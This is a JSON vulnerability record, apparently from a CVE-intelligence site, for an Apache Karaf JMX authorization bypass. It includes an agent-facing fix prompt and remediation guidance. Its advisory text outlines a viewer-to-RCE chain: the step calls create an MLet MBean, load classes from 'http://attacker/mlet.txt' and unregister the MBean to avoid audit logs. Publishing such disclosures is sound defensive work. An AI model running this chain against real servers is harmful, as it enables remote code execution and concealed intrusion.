{"answers":{"affected":"It affects 1 product.","exploited":"There is no known exploitation of CVE-2026-92142 in the wild and no public exploit code.","fix":"No fix has been published for CVE-2026-92142 yet. Limit exposure of the affected software until one is available.","what":"CVE-2026-92142 is a high-severity missing authorization vulnerability in Apache Karaf, published on 29 Sep 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2026-92142 and fix it if it is affected.\n\nWhat it is: CVE-2026-92142 is a high-severity missing authorization vulnerability in Apache Karaf, published on 29 Sep 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of CVE-2026-92142 in the wild and no public exploit code.\n\nAffected product: Apache Karaf. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2026-92142/ (Markdown: https://insights.sbomify.com/CVE-2026-92142/index.md)","id":"CVE-2026-92142","markdown":"https://insights.sbomify.com/CVE-2026-92142/index.md","name":"CVE-2026-92142","record":{"aliases":["GHSA-5rr2-29jr-5v63"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["code_execution","privilege_escalation"],"network_reachable":"yes","non_default_config":false,"product_category":"Java application server","requires_auth":"low_privilege","summary":"Attackers with viewer access can bypass RBAC to instantiate arbitrary MBeans, enabling remote code execution via the MLet classloader.","user_interaction":"not_required","vuln_class":"missing_authorization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"apache","cpe":[{"product":"karaf","vendor":"apache"}],"cvss":{"score":8.8,"severity":"high","source":"cisa-adp","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","version":"3.1"},"cwes":[{"id":"CWE-862","name":"Missing Authorization"}],"description":"Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:\n\n  private final List\u003cString\u003e guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\n\nThe MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.\n\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).\n\nThis is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing \"invoke\" check, but the default etc/jmx.acl.cfg grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:\n\n  *  Authenticate to JMX as any user with any role (e.g. \"viewer\").\n  *  mbs.createMBean(\"javax.management.loading.MLet\", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\n  *  mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...) is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.\n  *  The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\n  *  mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.\n\nThe fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:\n\ncreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\n\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels.","ecosystems":[],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":0,"refs":[],"tier":"none_known"},"has_fix":false,"headline":"Apache Karaf: Authorization bypass in JMX MBean lifecycle operations","id":"CVE-2026-92142","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":null,"product":null,"products":[],"type":"missing_authorization","year":"2026"},"n_packages":0,"n_references":1,"next":{"headline":"Forminator Forms \u003c= 1.57.2 - Unauthenticated Stored Cross-Site Scripting via 'postdata-1[post-custom]' Parameter","id":"CVE-2026-92144"},"packages":[],"prev":{"headline":"Open redirect in Jenkins Keycloak Authentication Plugin","id":"CVE-2026-92141"},"products":["Apache Karaf"],"published":"2026-09-29","related":[{"cvss_score":9.8,"headline":"Apache Karaf: Path Traversal in Config Service Allows Manager-to-Admin Privilege Escalation","id":"CVE-2026-91012","kev_date_added":null,"published":"2026-09-29"},{"cvss_score":9.8,"headline":"Missing authorization in Apache Karaf","id":"CVE-2026-91048","kev_date_added":null,"published":"2026-09-29"},{"cvss_score":9.8,"headline":"Apache Karaf: JDBC JAAS LDAP injection","id":"CVE-2022-40145","kev_date_added":null,"published":"2022-12-21"},{"cvss_score":9.8,"headline":"XML External Entity Reference in Apache Karaf","id":"CVE-2018-11788","kev_date_added":null,"published":"2019-01-07"},{"cvss_score":8.8,"headline":"Apache Karaf: OS Command Injection in Child-Instance Launch (instance:* / InstancesMBean)","id":"CVE-2026-91006","kev_date_added":null,"published":"2026-09-28"},{"cvss_score":8.8,"headline":"Improper Privilege Management in Apache Karaf","id":"CVE-2018-11786","kev_date_added":null,"published":"2018-09-18"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"}],"ssvc":{"automatable":"no","exploitation":"none","technical_impact":"total"},"state":"PUBLISHED","updated":"2026-10-01","vendors":["Apache Software Foundation"]},"summary":"Attackers with viewer access can bypass RBAC to instantiate arbitrary MBeans, enabling remote code execution via the MLet classloader.","url":"https://insights.sbomify.com/CVE-2026-92142/"}